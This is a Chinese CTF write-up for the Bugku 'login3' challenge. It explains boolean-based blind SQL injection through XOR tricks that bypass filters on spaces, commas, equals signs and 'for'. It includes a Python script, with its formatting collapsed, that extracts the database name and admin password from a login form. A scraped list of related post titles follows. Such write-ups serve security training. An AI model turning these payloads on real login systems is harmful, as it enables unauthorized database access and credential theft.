Day41

login3(SKCTF)

http://123.206.31.85:49167/
flag格式:SKCTF{xxxxxxxxxxxxx}
hint:基于布尔的SQL盲注
本题要点:异或运算、布尔盲注、过滤
打开是一个登录窗口
用bp抓一下包
发送至repeater
没什么新发现........
随便试试其他用户名,看看回显信息
我们可以发现
当我们随便输入一个用户名“qwe”时, 回显用户名不存在,但并没有对密码进行检验。
当我们输入用户名“admin”时,回显密码错误,则说明 是先查找匹配用户名,如果存在,再验证密码。
试试在用户名admin后加上单引号
结果还是显示用户名不存在,但是并没有报错信息...........
那么,我们猜测后台的验证应该是先查找输入的用户名是否存在
语句大体是这样
select password,username from users where username=”我们输入的用户名”
如果我们在where语句的结尾加上一个and连接的布尔判断语句,就可以根据返回值判断where条件是否成立,这个语句就可以补成:
where username=’admin’ and (substring(database(),1,1)=’a’)
如果返回值是password error,那么就说明where语句是成立的,那么我们补充的那就也是成立的,那么就可以确定数据库的第一位是a,然后再猜测第二位。
额....显示非法字符.......
可能是过滤了and....
继续测试发现....还过滤了空格,逗号,等号,for
空格用括号代替,等号用<>(一种不等号)代替
查阅大佬们的题解.........
发现大佬使用了异或运算^
先说一下异或运算的基本规则:
1^1=0    1^0=1   0^0=0
即 只有两个不同的布尔值运算结果为1
先给出脚本
import requests
str_all="1234567890abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ {}+-*/="
url="http://123.206.31.85:49167/index.php"
r=requests.session()
def database():result=""for i in range(30):flag = 0for j in str_all:payload="admin'^(ascii(mid(database()from({})))<>{})^0#".format(str(i),ord(j))data = {"username": payload,"password": "123"}s=r.post(url,data)print(payload)if "error" in s.text:result+=jprint(result)if flag == 0:break
def password():result=""for i in range(40):flag=0for j in str_all:payload = "admin'^(ascii(mid((select(password)from(admin))from({})))<>{})^0#".format(str(i+1),ord(j))data = {"username": payload,"password": "123"}s=r.post(url,data)print(payload)if "error" in s.text:result+=jflag=1print('**************************',result)if flag==0:break
#database()
password()

解释一下payload:
"admin'^(ascii(mid(database()from({})))<>{})^0#"
1.为了绕过空格过滤,用括号隔开,过滤了等号,用不等号 <>代替,只要是布尔值就可以。
2.mid()函数和substring()一样,一种写法是mid(xxx,1,1),另一种是mid(xxx,from 1 for 1)但是这里过滤了for和逗号,那么怎么办呢?
因此,这里用到了ascii()取ascii码值的函数,如果传入一个字符串那么就会取第一个字符的字符的ascii码值,这就有了for的作用,并且mid()函数是可以只写from的表示从第几位往后的字符串,我们将取出的字符串在传入ascii()中取第一位,就完成了对单个字符的提取。
3.每个字符的ascii码判断,是否不等于给定的数字,会得到一个布尔值(0或1)再与结尾的0进行运算。
如果数据库名的第一位的ascii码值不是97,where条件是username=’admin’^1^0
返回值是username does not exist!
如果数据库名的第一位的ascii码值是97,where条件是username=’admin’^0^0
返回值会是password error!
这就构成了布尔报错注入。
4. 最后^0的妙用! 因为’admin’^0^0和’admin’^1^1是一样的,我们可以构造后者来看前者成立时的情况。 因为这里即使是语法错误也不会报错,有可能你输入的语句就不可能成立,但你也无法知道。
脚本运行结果:
拿到密码~
md5解密一下!
登录~得到flag
参考资料:
https://www.jianshu.com/p/aa9fabd36de1

转载于:https://www.cnblogs.com/0yst3r-2046/p/11176746.html

Bugku-CTF之login3(SKCTF)(基于布尔的SQL盲注)相关推荐

  1. mysql 时间盲注语句,sql注入学习记录(5)-基于时间延迟的SQL盲注

    上次说到了sql注入中的基于报错盲注的基本的方法. 今天说一说报错盲注 基于时间延时的SQL盲注 使用时间延时注入的场景: 1.不能使用union select 联合查询方式注入 2.有些网站没有回显 ...

  2. 【less-5】基于SQLI的SQL盲注常用函数

    实验声明:本实验教程仅供研究学习使用,请勿用于非法用途,违者一律自行承担所有风险! 实验目的 实验环境 实验原理 实验步骤 第一步 登录SQLI-Labs平台 第二步 登录Kali平台,启动Firef ...

  3. python脚本自动化盲注_三、基于报错型注入和sql盲注的自动化实现

    通过前面payload的构造,不难发现,对于报错型注入和布尔注入(sql盲注)纯手工注入的效率是非常慢的.这些payload语句虽然复杂,但大部分内容都是相同的,因此,一言不合就写了个脚本自动化注入, ...

  4. ctf各种sql盲注脚本

    以下的几个脚本都是自己写的(有参考别的大佬),代码可能不是最精简,但是还算顺眼 核心算法都是二分法,不推荐时间盲注(速度硬伤) 脚本payload参考题目:[第一章 web入门]SQL注入-2 / 极 ...

  5. SQL 盲注GET /POST、布尔型,延时型Python脚本

    以下脚本都用 sql-labs 中的题目进行测试: sql-labs 靶场:http://43.247.91.228:84/ 一,sql注入之 GET传参 之 布尔型: import requests ...

  6. sqli-lab--writeup(7~10)文件输出,时间布尔盲注

    前置知识点: 1.outfile是将检索到的数据,保存到服务器的文件内: 格式:select * into outfile "文件地址" 示例: mysql> select ...

  7. SQL注入:sqli-labs lesson-8 lesson -9 基于布尔值和基于时间的盲注!

    在上一次讲解了lesson -1的sql基本注入,我们在注入的时候,它会返回错误信息 但是盲注不会:什么是盲注:我理解的盲注是,web页面并不会返回错误信息,需要自己添加一些命令来让浏览器进行一些显而 ...

  8. sql_1-2_get基于盲注

    sql_1-2_get基于盲注(时间,和布尔) 一 . 盲注的概念和类型 1.概念 sql(盲注)是注入攻击的一种,向数据库发生true或false这样的问题,并且根据应用程序返回的信息判断结果,这种 ...

  9. 以dvwa为例学习简单sql布尔盲注的详细脚本

    0x01 前置知识 1.SQL注入与SQL盲注 SQL注入: 执行SQL注入攻击时,服务器会响应来自数据库服务器的错误信息,信息提示SQL语法不正确等 一般在页面上直接就会显示执行sql语句的结果 S ...

  10. 渗透测试——sql注入进阶/基于时间的盲注/一看就会/

    目录 一.注入点判断 注入类型 SQL注入的类型 二.基于时间的时间盲注 什么是时间盲注 sleep()函数 常用函数 三.bWAPP基于时间的盲注实战 一.注入点判断 1.输入一个单引号',因为语句 ...

最新文章

  1. 用英语说中国 IOS APP 上线
  2. PHp批量推送数据太慢,PHP非阻塞批量推送数据-php教程
  3. Eclipse插件开发总结(第二天)
  4. pythondjango搭建数据管理平台,使用Django快速搭建简单的数据管理后台
  5. 武大计算机几天出录取结果,录取大概要几天 多久录取结果出来
  6. 2022年中国企业直播多场景应用策略白皮书
  7. ORA-24324 ORA-24323 ORA-01090
  8. 卢伟冰宣布Redmi新机即将发布 疑为Redmi 8A
  9. WPF的ControlTemplate和DataTemplate简介
  10. 如何判断两个矩形相交
  11. Numpy中出现“ValueError: zero-size array to reduction operation maximum which has no identity”错误的调试笔记
  12. [转载] flutter开发桌面程序_在开始使用Flutter开发应用程序之前要了解的5条提示
  13. springboot日志输出异常_基于aop进行springboot接口调用日志和埋点日志输出,支持json格式方便elk收集...
  14. 求html写一个羽毛球拍的代码,一种组合式羽毛球拍的制作方法
  15. 《Real-Time Rendering》第四版学习笔记——Chapter 9 Physically Based Shading(一)
  16. Tableau:与Python集成
  17. 计算机专业854,精选-2017年哈工大计算机科学与技术专业854考研真题
  18. 报错:Solving environment: failed with initial frozen solve. Retrying with flexible solve.
  19. 解决0xc000012f 损坏的映像rasman.dll没有被指定在windows运行问题
  20. 室内定位indoor location

热门文章

  1. 爱心特效代码(HTML超文本标记语言,直接改记事本后缀)
  2. php nginx 伪静态规则,常见PHP程序的Nginx 伪静态规则
  3. 赖特 因果分析_量子至上的赖特的东西
  4. linux udp 端口 抓包,Linux系统-tcpdump常用抓包命令
  5. 文件解密 [Java]
  6. Kotlin初学者笔记
  7. 【半年时光-追寻你的足迹】
  8. 计算机任务管理器恢复默认,我的电脑中的任务管理器怎么打不开了,总是提示的“任务管理器已被系统管理员停用”,请问如何才能使任务管理器恢复正常。...
  9. Python 后端统一社会信用代码校验
  10. 想拿腾讯、阿里、字节跳动offer,除了技术还需要哪些成长?